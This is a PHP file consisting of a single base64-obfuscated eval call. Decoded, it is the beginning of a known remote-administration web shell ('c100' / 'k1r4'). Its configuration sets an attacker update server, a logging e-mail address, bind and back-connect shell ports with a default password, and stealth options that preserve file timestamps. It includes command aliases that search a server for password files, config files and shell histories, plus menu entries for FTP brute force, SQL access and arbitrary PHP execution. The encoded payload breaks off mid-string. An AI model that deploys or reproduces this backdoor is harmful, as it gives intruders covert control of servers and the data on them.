<? 
eval(base64_decode('Ci8vU3RhcnRpbmcgY2FsbHMKaWYgKCFmdW5jdGlvbl9leGlzdHMoImdldG1pY3JvdGltZSIpKSB7ZnVuY3Rpb24gZ2V0bWljcm90aW1lKCkge2xpc3QoJHVzZWMsICRzZWMpID0gZXhwbG9kZSgiICIsIG1pY3JvdGltZSgpKTsgcmV0dXJuICgoZmxvYXQpJHVzZWMgKyAoZmxvYXQpJHNlYyk7fX0KZXJyb3JfcmVwb3J0aW5nKDUpOwpAaWdub3JlX3VzZXJfYWJvcnQoVFJVRSk7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7CiR3aW4gPSBzdHJ0b2xvd2VyKHN1YnN0cihQSFBfT1MsMCwzKSkgPT0gIndpbiI7CmRlZmluZSgic3RhcnR0aW1lIixnZXRtaWNyb3RpbWUoKSk7CmlmIChnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7aWYgKCFmdW5jdGlvbl9leGlzdHMoInN0cmlwcyIpKSB7ZnVuY3Rpb24gc3RyaXBzKCYkYXJyLCRrPSIiKSB7aWYgKGlzX2FycmF5KCRhcnIpKSB7Zm9yZWFjaCgkYXJyIGFzICRrPT4kdikge2lmIChzdHJ0b3VwcGVyKCRrKSAhPSAiR0xPQkFMUyIpIHtzdHJpcHMoJGFyclsiJGsiXSk7fX19IGVsc2UgeyRhcnIgPSBzdHJpcHNsYXNoZXMoJGFycik7fX19IHN0cmlwcygkR0xPQkFMUyk7fQokX1JFUVVFU1QgPSBhcnJheV9tZXJnZSgkX0NPT0tJRSwkX0dFVCwkX1BPU1QpOwpmb3JlYWNoKCRfUkVRVUVTVCBhcyAkaz0+JHYpIHtpZiAoIWlzc2V0KCQkaykpIHskJGsgPSAkdjt9fQoKJHNodmVyID0gImMxMDAiOyAvL0N1cnJlbnQgdmVyc2lvbgovL0NPTkZJR1VSQVRJT04gQU5EIFNFVFRJTkdTCmlmICghZW1wdHkoJHVuc2V0X3N1cmwpKSB7c2V0Y29va2llKCJrMXI0X3N1cmwiKTsgJHN1cmwgPSAiIjt9CmVsc2VpZiAoIWVtcHR5KCRzZXRfc3VybCkpIHskc3VybCA9ICRzZXRfc3VybDsgc2V0Y29va2llKCJrMXI0X3N1cmwiLCRzdXJsKTt9CmVsc2UgeyRzdXJsID0gJF9SRVFVRVNUWyJrMXI0X3N1cmwiXTsgLy9TZXQgdGhpcyBjb29raWUgZm9yIG1hbnVhbCBTVVJMCn0KCiRzdXJsX2F1dG9maWxsX2luY2x1ZGUgPSBUUlVFOyAvL0lmIFRSVUUgdGhlbiBzZWFyY2ggdmFyaWFibGVzIHdpdGggZGVzY3JpcHRvcnMgKFVSTHMpIGFuZCBzYXZlIGl0IGluIFNVUkwuCgppZiAoJHN1cmxfYXV0b2ZpbGxfaW5jbHVkZSBhbmQgISRfUkVRVUVTVFsiazFyNF9zdXJsIl0pIHskaW5jbHVkZSA9ICImIjsgZm9yZWFjaCAoZXhwbG9kZSgiJiIsZ2V0ZW52KCJRVUVSWV9TVFJJTkciKSkgYXMgJHYpIHskdiA9IGV4cGxvZGUoIj0iLCR2KTsgJG5hbWUgPSB1cmxkZWNvZGUoJHZbMF0pOyAkdmFsdWUgPSB1cmxkZWNvZGUoJHZbMV0pOyBmb3JlYWNoIChhcnJheSgiaHR0cDovLyIsImh0dHBzOi8vIiwic3NsOi8vIiwiZnRwOi8vIiwiXFxcXCIpIGFzICRuZWVkbGUpIHtpZiAoc3RycG9zKCR2YWx1ZSwkbmVlZGxlKSA9PT0gMCkgeyRpbmNsdWRlc3RyIC49IHVybGVuY29kZSgkbmFtZSkuIj0iLnVybGVuY29kZSgkdmFsdWUpLiImIjt9fX0gaWYgKCRfUkVRVUVTVFsic3VybF9hdXRvZmlsbF9pbmNsdWRlIl0pIHskaW5jbHVkZXN0ciAuPSAic3VybF9hdXRvZmlsbF9pbmNsdWRlPTEmIjt9fQppZiAoZW1wdHkoJHN1cmwpKQp7CiAkc3VybCA9ICI/Ii4kaW5jbHVkZXN0cjsgLy9TZWxmIHVybAp9CiRzdXJsID0gaHRtbHNwZWNpYWxjaGFycygkc3VybCk7CgokdGltZWxpbWl0ID0gMDsgLy90aW1lIGxpbWl0IG9mIGV4ZWN1dGlvbiB0aGlzIHNjcmlwdCBvdmVyIHNlcnZlciBxdW90ZSAoc2Vjb25kcyksIDAgPSB1bmxpbWl0ZWQuCgoKJGhvc3RfYWxsb3cgPSBhcnJheSgiKiIpOyAvL2FycmF5ICgie21hc2t9MSIsInttYXNrfTIiLC4uLiksIHttYXNrfSA9IElQIG9yIEhPU1QgZS5nLiBhcnJheSgiMTkyLjE2OC4wLioiLCIxMjcuMC4wLjEiKQokbG9naW5fdHh0ID0gIlJlc3RyaWN0ZWQgYXJlYSI7IC8vaHR0cC1hdXRoIG1lc3NhZ2UuCiRhY2Nlc3NkZW5pZWRtZXNzID0gIiBTaGVsbCBbY2ldIC4gQml6ICIuJHNodmVyLiI6IGFjY2VzcyBkZW5pZWQiOwoKJGd6aXBlbmNvZGUgPSBUUlVFOyAvL0VuY29kZSB3aXRoIGd6aXA/CgokdXBkYXRlbm93ID0gRkFMU0U7IC8vSWYgVFJVRSwgdXBkYXRlIG5vdyAodGhpcyB2YXJpYWJsZSB3aWxsIGJlIEZBTFNFKQoKJGsxcjRfdXBkYXRldXJsID0gImh0dHA6Ly9lbXAzcm9yLmNvbS9raXJhLy91cGRhdGUvIjsgLy9VcGRhdGUgc2VydmVyCiRrMXI0X3NvdXJjZXN1cmwgPSAiaHR0cDovL2VtcDNyb3IuY29tL2tpcmEvIjsgLy9Tb3VyY2VzLXNlcnZlcgoKJGZpbGVzdGVhbHRoID0gVFJVRTsgLy9pZiBUUlVFLCBkb24ndCBjaGFuZ2UgbW9kaWZ5LSBhbmQgYWNjZXNzLXRpbWUKCiRkb25hdGVkX2h0bWwgPSAiPGNlbnRlcj48Yj5Pd25lZCBieSBTaGVsbCBbY2ldIC5CaXo8L2I+PC9jZW50ZXI+IjsKLyogSWYgeW91IHB1Ymxpc2ggZnJlZSBzaGVsbCBhbmQgeW91IHdpc2gKYWRkIGxpbmsgdG8geW91ciBzaXRlIG9yIGFueSBvdGhlciBpbmZvcm1hdGlvbiwKcHV0IGhlcmUgeW91ciBodG1sLiAqLwokZG9uYXRlZF9hY3QgPSBhcnJheSgiIik7IC8vYXJyYXkgKCJhY3QxIiwiYWN0MiwiLi4uKSwgaWYgJGFjdCBpcyBpbiB0aGlzIGFycmF5LCBkaXNwbGF5ICRkb25hdGVkX2h0bWwuCgokY3VyZGlyID0gIi4vIjsgLy9zdGFydCBmb2xkZXIKLy8kY3VyZGlyID0gZ2V0ZW52KCJET0NVTUVOVF9ST09UIik7CiR0bXBkaXIgPSAiIjsgLy9Gb2xkZXIgZm9yIHRlbXBvcnkgZmlsZXMuIElmIGVtcHR5LCBhdXRvLWZpbGwgKC90bXAgb3IgJVdJTkRJUi90ZW1wKQokdG1wZGlyX2xvZyA9ICIuLyI7IC8vRGlyZWN0b3J5IGxvZ3Mgb2YgbG9uZyBwcm9jZXNzZXMgKGUuZy4gYnJ1dGUsIHNjYW4uLi4pCgokbG9nX2VtYWlsID0gInNoZWxsNHNwYW1AZ21haWwuY29tIjsgLy9EZWZhdWx0IGUtbWFpbCBmb3Igc2VuZGluZyBsb2dzCgokc29ydF9kZWZhdWx0ID0gIjBhIjsgLy9EZWZhdWx0IHNvcnRpbmcsIDAgLSBudW1iZXIgb2YgY29sb21uLCAiYSJzY2VuZGluZyBvciAiZCJlc2NlbmRpbmcKJHNvcnRfc2F2ZSA9IFRSVUU7IC8vSWYgVFJVRSB0aGVuIHNhdmUgc29ydGluZy1wb3NpdGlvbiB1c2luZyBjb29raWVzLgoKLy8gUmVnaXN0ZXJlZCBmaWxlLXR5cGVzLgovLyAgYXJyYXkoCi8vICAgInthY3Rpb24xfSI9PmFycmF5KCJleHQxIiwiZXh0MiIsImV4dDMiLC4uLiksCi8vICAgInthY3Rpb24yfSI9PmFycmF5KCJleHQ0IiwiZXh0NSIsImV4dDYiLC4uLiksCi8vICAgLi4uCi8vICApCiRmdHlwZXMgID0gYXJyYXkoCiAiaHRtbCI9PmFycmF5KCJodG1sIiwiaHRtIiwic2h0bWwiKSwKICJ0eHQiPT5hcnJheSgidHh0IiwiY29uZiIsImJhdCIsInNoIiwianMiLCJiYWsiLCJkb2MiLCJsb2ciLCJzZmMiLCJjZmciLCJodGFjY2VzcyIpLAogImV4ZSI9PmFycmF5KCJzaCIsImluc3RhbGwiLCJiYXQiLCJjbWQiKSwKICJpbmkiPT5hcnJheSgiaW5pIiwiaW5mIiksCiAiY29kZSI9PmFycmF5KCJwaHAiLCJwaHRtbCIsInBocDMiLCJwaHA0IiwiaW5jIiwidGNsIiwiaCIsImMiLCJjcHAiLCJweSIsImNnaSIsInBsIiksCiAiaW1nIj0+YXJyYXkoImdpZiIsInBuZyIsImpwZWciLCJqZmlmIiwianBnIiwianBlIiwiYm1wIiwiaWNvIiwidGlmIiwidGlmZiIsImF2aSIsIm1wZyIsIm1wZWciKSwKICJzZGIiPT5hcnJheSgic2RiIiksCiAicGhwc2VzcyI9PmFycmF5KCJzZXNzIiksCiAiZG93bmxvYWQiPT5hcnJheSgiZXhlIiwiY29tIiwicGlmIiwic3JjIiwibG5rIiwiemlwIiwicmFyIiwiZ3oiLCJ0YXIiKQopOwoKLy8gUmVnaXN0ZXJlZCBleGVjdXRhYmxlIGZpbGUtdHlwZXMuCi8vICBhcnJheSgKLy8gICBzdHJpbmcgImNvbW1hbmR7aX0iPT5hcnJheSgiZXh0MSIsImV4dDIiLCJleHQzIiwuLi4pLAovLyAgIC4uLgovLyAgKQovLyAgIHtjb21tYW5kfTogJWYlID0gZmlsZW5hbWUKJGV4ZWZ0eXBlcyAgPSBhcnJheSgKIGdldGVudigiUEhQUkMiKS4iIC1xICVmJSIgPT4gYXJyYXkoInBocCIsInBocDMiLCJwaHA0IiksCiAicGVybCAlZiUiID0+IGFycmF5KCJwbCIsImNnaSIpCik7CgovKiBIaWdobGlnaHRlZCBmaWxlcy4KICBhcnJheSgKICAgaT0+YXJyYXkoe3JlZ2V4cH0se3R5cGV9LHtvcGVudGFnfSx7Y2xvc2V0YWd9LHticmVha30pCiAgIC4uLgogICkKICBzdHJpbmcge3JlZ2V4cH0gLSByZWd1bGFyIGV4cC4KICBpbnQge3R5cGV9OgowIC0gZmlsZXMgYW5kIGZvbGRlcnMgKGFzIGRlZmF1bHQpLAoxIC0gZmlsZXMgb25seSwgMiAtIGZvbGRlcnMgb25seQogIHN0cmluZyB7b3BlbnRhZ30gLSBvcGVuIGh0bWwtdGFnLCBlLmcuICI8Yj4iIChkZWZhdWx0KQogIHN0cmluZyB7Y2xvc2V0YWd9IC0gY2xvc2UgaHRtbC10YWcsIGUuZy4gIjwvYj4iIChkZWZhdWx0KQogIGJvb2wge2JyZWFrfSAtIGlmIFRSVUUgYW5kIGZvdW5kIG1hdGNoIHRoZW4gYnJlYWsKKi8KJHJlZ3hwX2hpZ2hsaWdodCAgPSBhcnJheSgKICBhcnJheShiYXNlbmFtZSgkX1NFUlZFUlsiUEhQX1NFTEYiXSksMSwiPGZvbnQgY29sb3I9XCJ5ZWxsb3dcIj4iLCI8L2ZvbnQ+IiksIC8vIGV4YW1wbGUKICBhcnJheSgiY29uZmlnLnBocCIsMSkgLy8gZXhhbXBsZQopOwoKJHNhZmVtb2RlX2Rpc2tldHRlcyA9IGFycmF5KCJhIik7IC8vIFRoaXMgdmFyaWFibGUgZm9yIGRpc2FibGluZyBkaXNrZXR0LWVycm9ycy4KIC8vIGFycmF5IChpPT57bGV0dGVyfSAuLi4pOyBzdHJpbmcge2xldHRlcn0gLSBsZXR0ZXIgb2YgYSBkcml2ZQovLyRzYWZlbW9kZV9kaXNrZXR0ZXMgPSByYW5nZSgiYSIsInoiKTsKJGhleGR1bXBfbGluZXMgPSA4Oy8vIGxpbmVzIGluIGhleCBwcmV2aWV3IGZpbGUKJGhleGR1bXBfcm93cyA9IDI0Oy8vIDE2LCAyNCBvciAzMiBieXRlcyBpbiBvbmUgbGluZQoKJG5peHB3ZHBlcnBhZ2UgPSAxMDA7IC8vIEdldCBmaXJzdCBOIGxpbmVzIGZyb20gL2V0Yy9wYXNzd2QKCiRiaW5kcG9ydF9wYXNzID0gImsxcjQiOyAgLy8gZGVmYXVsdCBwYXNzd29yZCBmb3IgYmluZGluZwokYmluZHBvcnRfcG9ydCA9ICIzMTM3MyI7IC8vIGRlZmF1bHQgcG9ydCBmb3IgYmluZGluZwokYmNfcG9ydCA9ICIzMTM3MyI7IC8vIGRlZmF1bHQgcG9ydCBmb3IgYmFjay1jb25uZWN0CiRkYXRhcGlwZV9sb2NhbHBvcnQgPSAiODA4MSI7IC8vIGRlZmF1bHQgcG9ydCBmb3IgZGF0YXBpcGUKCi8vIENvbW1hbmQtYWxpYXNlcwppZiAoISR3aW4pCnsKICRjbWRhbGlhc2VzID0gYXJyYXkoCiAgYXJyYXkoIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiwgImxzIC1sYSIpLAogIGFycmF5KCJmaW5kIGFsbCBzdWlkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiKSwKICBhcnJheSgiZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiKSwKICBhcnJheSgiZmluZCBhbGwgc2dpZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiksCiAgYXJyYXkoImZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiksCiAgYXJyYXkoImZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAiKSwKICBhcnJheSgiZmluZCBjb25maWcqIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiksCiAgYXJyYXkoImZpbmQgY29uZmlnKiBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIpLAogIGFycmF5KCJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyIsICJmaW5kIC8gLXBlcm0gLTIgLWxzIiksCiAgYXJyYXkoImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtcGVybSAtMiAtbHMiKSwKICBhcnJheSgiZmluZCBhbGwgc2VydmljZS5wd2QgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiKSwKICBhcnJheSgiZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIpLAogIGFycmF5KCJmaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiksCiAgYXJyYXkoImZpbmQgLmh0cGFzc3dkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIpLAogIGFycmF5KCJmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiKSwKICBhcnJheSgiZmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiKSwKICBhcnJheSgiZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIpLAogIGFycmF5KCJmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiKSwKICBhcnJheSgibGlzdCBmaWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW0iLCAibHNhdHRyIC12YSIpLAogIGFycmF5KCJzaG93IG9wZW5lZCBwb3J0cyIsICJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuIikKICk7Cn0KZWxzZQp7CiAkY21kYWxpYXNlcyA9IGFycmF5KAogIGFycmF5KCItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIsICJkaXIiKSwKICBhcnJheSgic2hvdyBvcGVuZWQgcG9ydHMiLCAibmV0c3RhdCAtYW4iKQogKTsKfQoKJHNlc3NfY29va2llID0gImsxcjR2YXJzIjsgLy8gQ29va2llLXZhcmlhYmxlIG5hbWUKCiR1c2Vmc2J1ZmYgPSBUUlVFOyAvL0J1ZmZlci1mdW5jdGlvbgokY29weV91bnNldCA9IEZBTFNFOyAvL1JlbW92ZSBjb3BpZWQgZmlsZXMgZnJvbSBidWZmZXIgYWZ0ZXIgcGFzdGluZwoKLy9RdWljayBsYXVuY2gKJHF1aWNrbGF1bmNoID0gYXJyYXkoCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1ob21lXCIgYWx0PVwiSG9tZVwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRlcj1cIjBcIj4iLCRzdXJsKSwKIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWJhY2tcIiBhbHQ9XCJCYWNrXCIgaGVpZ2h0PVwiMjBcIiB3aWR0aD1cIjIwXCIgYm9yZGVyPVwiMFwiPiIsIiNcIiBvbmNsaWNrPVwiaGlzdG9yeS5iYWNrKDEpIiksCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1mb3J3YXJkXCIgYWx0PVwiRm9yd2FyZFwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRlcj1cIjBcIj4iLCIjXCIgb25jbGljaz1cImhpc3RvcnkuZ28oMSkiKSwKIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXVwXCIgYWx0PVwiVVBESVJcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI+Iiwkc3VybC4iYWN0PWxzJmQ9JXVwZCZzb3J0PSVzb3J0IiksCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1yZWZyZXNoXCIgYWx0PVwiUmVmcmVzaFwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIxN1wiIGJvcmRlcj1cIjBcIj4iLCIiKSwKIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNlYXJjaFwiIGFsdD1cIlNlYXJjaFwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRlcj1cIjBcIj4iLCRzdXJsLiJhY3Q9c2VhcmNoJmQ9JWQiKSwKIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWJ1ZmZlclwiIGFsdD1cIkJ1ZmZlclwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRlcj1cIjBcIj4iLCRzdXJsLiJhY3Q9ZnNidWZmJmQ9JWQiKSwKIGFycmF5KCI8Yj5FbmNvZGVyPC9iPiIsJHN1cmwuImFjdD1lbmNvZGVyJmQ9JWQiKSwKIGFycmF5KCI8Yj5Ub29sczwvYj4iLCRzdXJsLiJhY3Q9dG9vbHMmZD0lZCIpLAogYXJyYXkoIjxiPlByb2MuPC9iPiIsJHN1cmwuImFjdD1wcm9jZXNzZXMmZD0lZCIpLAogYXJyYXkoIjxiPkZUUCBicnV0ZTwvYj4iLCRzdXJsLiJhY3Q9ZnRwcXVpY2ticnV0ZSZkPSVkIiksCiBhcnJheSgiPGI+U2VjLjwvYj4iLCRzdXJsLiJhY3Q9c2VjdXJpdHkmZD0lZCIpLAogYXJyYXkoIjxiPlNRTDwvYj4iLCRzdXJsLiJhY3Q9c3FsJmQ9JWQiKSwKIGFycmF5KCI8Yj5QSFAtY29kZTwvYj4iLCRzdXJsLiJhY3Q9ZXZhbCZkPSVkIiksCiBhcnJheSgiPGI+VXBkYXRlPC9iPiIsJHN1cmwuImFjdD11cGRhdGUmZD0lZCIpLAogYXJyYXkoIjxiPkZlZWRiYWNrPC9iPiIsJHN1cmwuImFjdD1mZWVkYmFjayZkPSVkIiksCiBhcnJheSgiPGI+U2VsZiByZW1vdmU8L2I+Iiwkc3VybC4iYWN0PXNlbGZyZW1vdmUiKSwKIGFycmF5KCI8Yj5Mb2dvdXQ8L2I+IiwiI1wiIG9uY2xpY2s9XCJpZiAoY29uZmlybSgnQXJlIHlvdSBzdXJlPycpKSB3aW5kb3cuY2xvc2UoKSIpCik7CgovL0hpZ2hsaWdodC1jb2RlIGNvbG9ycwokaGlnaGxpZ2h0X2JhY2tncm91bmQgPSAiI2MwYzBjMCI7CiRoaWdobGlnaHRfYmcgPSAiI0ZGRkZGRiI7CiRoaWdobGlnaHRfY29tbWVudCA9ICIjNkE2QTZBIjsKJGhpZ2hsaWdodF9kZWZhdWx0ID0gIiMwMDAwQkIiOwokaGlnaGxpZ2h0X2h0bWwgPSAiIzEzMDBGRiI7CiRoaWdobGlnaHRfa2V5d29yZCA9ICIjMDA3NzAwIjsKJGhpZ2hsaWdodF9zdHJpbmcgPSAiIzAwMDAwMCI7CgpAJGYgPSAkX1JFUVVFU1RbImYiXTsKQGV4dHJhY3QoJF9SRVFVRVNUWyJrMXI0Y29vayJdKTsKCi8vRU5EIENPTkZJR1VSQVRJT04KCgovLyBcL05leHQgY29kZSBpc24ndCBmb3IgZWRpdGluZ1wvCkBzZXRfdGltZV9saW1pdCgwKTsKJHRtcCA9IGFycmF5KCk7CmZvcmVhY2goJGhvc3RfYWxsb3cgYXMgJGs9PiR2KSB7JHRtcFtdID0gc3RyX3JlcGxhY2UoIlxcKiIsIi4qIixwcmVnX3F1b3RlKCR2KSk7fQokcyA9ICIhXigiLmltcGxvZGUoInwiLCR0bXApLiIpJCFpIjsKaWYgKCFwcmVnX21hdGNoKCRzLGdldGVudigiUkVNT1RFX0FERFIiKSkgYW5kICFwcmVnX21hdGNoKCRzLGdldGhvc3RieWFkZHIoZ2V0ZW52KCJSRU1PVEVfQUREUiIpKSkpIHtleGl0KCI8YSBocmVmPVwiaHR0cDovL2dvb2dsZS5jb20vcmVsZWFzZXMvY2tpcmFcIj5raXJhPC9hPjogQWNjZXNzIERlbmllZCAtIHlvdXIgaG9zdCAoIi5nZXRlbnYoIlJFTU9URV9BRERSIikuIikgbm90IGFsbG93Iik7fQppZiAoIWVtcHR5KCRsb2dpbikpCnsKIGlmIChlbXB0eSgkbWQ1X3Bhc3MpKSB7JG1kNV9wYXNzID0gbWQ1KCRwYXNzKTt9CiBpZiAoKCRfU0VSVkVSWyJQSFBfQVVUSF9VU0VSIl0gIT0gJGxvZ2luKSBvciAobWQ1KCRfU0VSVkVSWyJQSFBfQVVUSF9QVyJdKSAhPSAkbWQ1X3Bhc3MpKQogewogIGlmIChlbXB0eSgkbG9naW5fdHh0KSkgeyRsb2dpbl90eHQgPSBzdHJpcF90YWdzKGVyZWdfcmVwbGFjZSgiJm5ic3A7fDxicj4iLCIgIiwkZG9uYXRlZF9odG1sKSk7fQogIGhlYWRlcigiV1dXLUF1dGhlbnRpY2F0ZTogQmFzaWMgcmVhbG09XCJraXJhICIuJHNodmVyLiI6ICIuJGxvZ2luX3R4dC4iXCIiKTsKICBoZWFkZXIoIkhUVFAvMS4wIDQwMSBVbmF1dGhvcml6ZWQiKTsKICBleGl0KCRhY2Nlc3NkZW5pZWRtZXNzKTsKIH0KfQppZiAoJGFjdCAhPSAiaW1nIikKewokbGFzdGRpciA9IHJlYWxwYXRoKCIuIik7CmNoZGlyKCRjdXJkaXIpOwppZiAoJHNlbGZ3cml0ZSBvciAkdXBkYXRlbm93KSB7QG9iX2NsZWFuKCk7IGsxcjRfZ2V0dXBkYXRlKCRzZWxmd3JpdGUsMSk7IGV4aXQ7fQokc2Vzc19kYXRhID0gdW5zZXJpYWxpemUoJF9DT09LSUVbIiRzZXNzX2Nvb2tpZSJdKTsKaWYgKCFpc19hcnJheSgkc2Vzc19kYXRhKSkgeyRzZXNzX2RhdGEgPSBhcnJheSgpO30KaWYgKCFpc19hcnJheSgkc2Vzc19kYXRhWyJjb3B5Il0pKSB7JHNlc3NfZGF0YVsiY29weSJdID0gYXJyYXkoKTt9CmlmICghaXNfYXJyYXkoJHNlc3NfZGF0YVsiY3V0Il0pKSB7JHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheSgpO30KCiRkaXNhYmxlZnVuYyA9IEBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpOwppZiAoIWVtcHR5KCRkaXNhYmxlZnVuYykpCnsKICRkaXNhYmxlZnVuYyA9IHN0cl9yZXBsYWNlKCIgIiwiIiwkZGlzYWJsZWZ1bmMpOwogJGRpc2FibGVmdW5jID0gZXhwbG9kZSgiLCIsJGRpc2FibGVmdW5jKTsKfQoKaWYgKCFmdW5jdGlvbl9leGlzdHMoImsxcjRfYnVmZl9wcmVwYXJlIikpCnsKZnVuY3Rpb24gazFyNF9idWZmX3ByZXBhcmUoKQp7CiBnbG9iYWwgJHNlc3NfZGF0YTsKIGdsb2JhbCAkYWN0OwogZm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7JHNlc3NfZGF0YVsiY29weSJdWyRrXSA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUixyZWFscGF0aCgkdikpO30KIGZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KSB7JHNlc3NfZGF0YVsiY3V0Il1bJGtdID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLHJlYWxwYXRoKCR2KSk7fQogJHNlc3NfZGF0YVsiY29weSJdID0gYXJyYXlfdW5pcXVlKCRzZXNzX2RhdGFbImNvcHkiXSk7CiAkc2Vzc19kYXRhWyJjdXQiXSA9IGFycmF5X3VuaXF1ZSgkc2Vzc19kYXRhWyJjdXQiXSk7CiBzb3J0KCRzZXNzX2RhdGFbImNvcHkiXSk7CiBzb3J0KCRzZXNzX2RhdGFbImN1dCJdKTsKIGlmICgkYWN0ICE9ICJjb3B5Iikge2ZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KSB7aWYgKCRzZXNzX2RhdGFbImNvcHkiXVska10gPT0gJHYpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTsgfX19CiBlbHNlIHtmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHtpZiAoJHNlc3NfZGF0YVsiY3V0Il1bJGtdID09ICR2KSB7dW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTt9fX0KfQp9CmsxcjRfYnVmZl9wcmVwYXJlKCk7CmlmICghZnVuY3Rpb25fZXhpc3RzKCJrMXI0X3Nlc3NfcHV0IikpCnsKZnVuY3Rpb24gazFyNF9zZXNzX3B1dCgkZGF0YSkKewogZ2xvYmFsICRzZXNzX2Nvb2tpZTsKIGdsb2JhbCAkc2Vzc19kYXRhOwogazFyNF9idWZmX3ByZXBhcmUoKTsKICRzZXNzX2RhdGEgPSAkZGF0YTsKICRkYXRhID0gc2VyaWFsaXplKCRkYXRhKTsKIHNldGNvb2tpZSgkc2Vzc19jb29raWUsJGRhdGEpOwp9Cn0KZm9yZWFjaCAoYXJyYXkoInNvcnQiLCJzcWxfc29ydCIpIGFzICR2KQp7CiBpZiAoIWVtcHR5KCRfR0VUWyR2XSkpIHskJHYgPSAkX0dFVFskdl07fQogaWYgKCFlbXB0eSgkX1BPU1RbJHZdKSkgeyQkdiA9ICRfUE9TVFskdl07fQp9CmlmICgkc29ydF9zYXZlKQp7CiBpZiAoIWVtcHR5KCRzb3J0KSkge3NldGNvb2tpZSgic29ydCIsJHNvcnQpO30KIGlmICghZW1wdHkoJHNxbF9zb3J0KSkge3NldGNvb2tpZSgic3FsX3NvcnQiLCRzcWxfc29ydCk7fQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJzdHIybWluaSIpKQp7CmZ1bmN0aW9uIHN0cjJtaW5pKCRjb250ZW50LCRsZW4pCnsKIGlmIChzdHJsZW4oJGNvbnRlbnQpID4gJGxlbikKIHsKICAkbGVuID0gY2VpbCgkbGVuLzIpIC0gMjsKICByZXR1cm4gc3Vic3RyKCRjb250ZW50LCAwLCRsZW4pLiIuLi4iLnN1YnN0cigkY29udGVudCwtJGxlbik7CiB9CiBlbHNlIHtyZXR1cm